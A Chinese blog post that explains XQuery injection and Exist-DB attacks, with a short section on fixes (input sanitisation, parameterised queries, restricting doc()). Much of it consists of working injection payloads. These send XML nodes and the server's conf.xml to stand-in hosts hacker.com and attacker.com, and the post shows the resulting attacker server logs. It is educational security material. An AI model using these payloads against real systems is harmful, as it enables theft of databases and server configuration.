XQuery 注入的介绍与代码防御

 

0x01 介绍

      XQuery是XPath的超集,如果Xpath只是一个查询语言,XQuery是一个程序语言,可以声明自定义的功能、变量等等。类似XPath注入,XQuery注入在没有验证用户输入的情况下也会发生。一个程序使用用户名查询博客实体,后端使用XQuery查询XML数据。

 

查询实例

用户输入admin,在后台执行的查询为:

for $blogpost in//post[@author=’admin’]
 return
<div>
  <hr />
   <h3>{$blogpost/title}</h3><br/>
   <em>{$blogpost/content}</em>
  <hr />
 </div>

如果用户输入admin’] let $x :=/*[' ,注入后的查询结果为:

for $blogpost in//post[@author=’admin’]
 let $x := /*[‘’]
 return
<div>
  <hr />
   <h3>{$blogpost/title}</h3><br/>
   <em>{$blogpost/content}</em>
  <hr />
 </div>

攻击者可以在let $x := /*[‘’]中插入任何想执行语句都会在循环中执行,它会通过所有当前执行文件中的元素循环发出一个GET请求到攻击者的服务器。

2 URL攻击

http://vulnerablehost/viewposts?username=admin%27%5D%0Afor%20%24n%20in%20/%2A%5B1%5D/%2A%0A%09let%20%24x%20%3A%3D%20for%20%24att%20in%20%24n/%40%2A%20return%20%28concat%28name%28%24att%29%2C%22%3D%22%2Cencode-foruri%28%24att%29%29%29%0A%09let%20%24y%20%3A%3D%20doc%28concat%28%22http%3A//hacker.com/%3Fname%3D%22%2C%20encode-foruri%28name%28%24n%29%29%2C%20%22%26amp%3Bdata%3D%22%2C%20encode-foruri%28%24n/text%28%29%29%2C%22%26amp%3Battr_%22%2C%20stringjoin%28%24x%2C%22%26amp%3Battr_%22%29%29%29%0A%09%09%0A%09for%20%24c%20in%20%24n/child%3A%3A%2A%0A%09%09let%20%24x%20%3A%3D%20for%20%24att%20in%20%24c/%40%2A%20return%20%28concat%28name%28%24c%29%2C%22%3D%22%2Cencode-foruri%28%24c%29%29%29%0A%09%09let%20%24y%20%3A%3D%20doc%28concat%28%22http%3A//hacker.com/%3Fchild%3D1%26amp%3Bname%3D%22%2Cencode-foruri%28name%28%24c%29%29%2C%22%26amp%3Bdata%3D%22%2Cencode-for-uri%28%24c/text%28%29%29%2C%22%26amp%3Battr_%22%2Cstringjoin%28%24x%2C%22%26amp%3Battr_%22%29%29%29%0Alet%20%24x%20%3A%3D%20/%2A%5B%27

上面的方法会重复的对攻击者的服务器发送请求,整个XML文档可以通过分析攻击者的服务器访问日志进行获取。

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?name=post&data=&attr_author=admin HTTP/1.1" 200 358"-" "Java/1.6.0_31"

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=title&data=Test&attr_ HTTP/1.1" 200 357"-" "Java/1.6.0_31"

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=content&data=My%20first%20blog%20post%21&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?name=post&data=&attr_author=admin HTTP/1.1" 200 357"-" "Java/1.6.0_31"

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=title&data=My%20blog%20is%20now%20live%21&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=content&data=Welcome%20to%20my%20blog%21%20Please%20stay%20away%20hackers&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?name=post&data=&attr_author=admin HTTP/1.1" 200 357"-" "Java/1.6.0_31"

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=title&data=Test&attr_ HTTP/1.1" 200 357"-" "Java/1.6.0_31"

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=content&data=My%20first%20blog%20post%21&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?name=post&data=&attr_author=admin HTTP/1.1" 200 357"-" "Java/1.6.0_31"

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=title&data=My%20blog%20is%20now%20live%21&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"

X.X.X.X - -[03/Mar/2012:20:21:10 +0000] "GET/?child=1&name=content&data=Welcome%20to%20my%20blog%21%20Please%20stay%20away%20hackers&attr_HTTP/1.1" 200 357 "-" "Java/1.6.0_31"

通过分析拼接的XML为:

<posts>
<postauthor="admin">
<title>Test</title>
<content>My firstblog post!</content>
</post>
<postauthor="admin">
<title>My blog isnow live!</title>
<content>Welcometo my blog! Please stay away hackers</content>
</post>
</posts>

3 Exist-DB

Exist-DB是一个本地XML数据库,允许应用程序使用不同的技术(XQuery 1.0, XPath 2.0,XSLT 1.0 和 2.0.)存储、查询和更新XML数据。区别于其他传统的数据库(定义自己的查询协议),Exist-DB使用基于HTTP的接口进行查询,如REST, XML-RPC, WebDAV 和SOAP。执行一个GET请求,返回一个XML的节点。还是之前用户博客的查询,假设现在使用的是Exist-DB,HTTP查询请求如下

http://www.vulnhost.com/viewposts?username=admin

后台XPath表达式

doc(concat(“http://localhost:8080/exist/rest/db/posts?_query=”,encode-for-uri(“//posts[@author=’admin’]”)) )//*

上面查询//posts[@author=’admin’]会返回所有admin的文章,Exist-DB是一个成熟的数据库并且在很好的支持XPath,如果username变量没有进行净化,攻击者可以获取根节点的内容:

http://www.vulnhost.com/viewposts?username='and doc(concat('http://hacker.com/?q=', encode-for-uri(name(doc('file:///home/exist/database/conf.xml')/*[1]))))or '1' = '1

这条语句会携带根节点发名字请求攻击者的服务器

doc(concat("http://localhost:8080/exist/rest/db/posts?_query=",encode-for-uri("//posts[@author=''and
 doc(concat('http://hacker.com/?q=',encode-foruri(name(doc(‘file:///home/exist/database/conf.xml’)/*[1]))))
 or '1'= '1']")))/*[1]

攻击者可以使用上面的技术获得受害服务器的配置信息。

EXist-DB有一个可扩展的模块,它允许程序员用Java编写的模块创建新的XPath/XQuery函数。通过让邮件模块或其他SMTP服务器,I/O文件系统发送电子邮件。以及支持多种HTTP方法,利用LDAP客户端模块,或在在OracleRDBMS执行Oracle的PL/ SQL存储过程等等。这些模块功能强大,但通常这些模块在默认情况下是禁用的。

HTTP模块很有趣,因为它是两个非常强大的,默认情况下启用。攻击者可以简单地使用它来发送序列化根节点(整个文档)到攻击者的服务器,从而在一次操作中获取整个数据库。

http://www.vulnhost.com/viewposts?username='Httpclient:post(xs:anyURI(“http://attacker.com/”),/*, false(), ())or '1' = '1

在服务器后台的查询如下

doc(concat("http://localhost:8080/exist/rest/db/posts?_query=",encode-for-uri("//posts[@author=’’Httpclient:post(xs:anyURI(“http://attacker.com/”),/*, false(), ()) or ‘1’ =‘1’]")))/*[1]

可以通过DOC功能使HTTP客户端发送任意的本地XML文件到攻击者的服务器

Httpclient:get(xs:anyURI(“http://attacker.com/”),doc(‘file:///home/exist/database/conf.xml’), false(), ())

0x02 威胁影响

    可能会访问存储在敏感数据资源中的信息,获得受害服务器的配置信息

 

0x03 修复思路

 

净化用户输入,fn:doc(),fn:collection(), xdmp:eval() and xdmp:value()这些函数需要特别注意
使用参数化的查询,如Java的Xpath表达式
/root/element[@id=$ID]
限制doc()功能

 

 

欢迎大家分享更好的思路,热切期待^^_^^ !

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值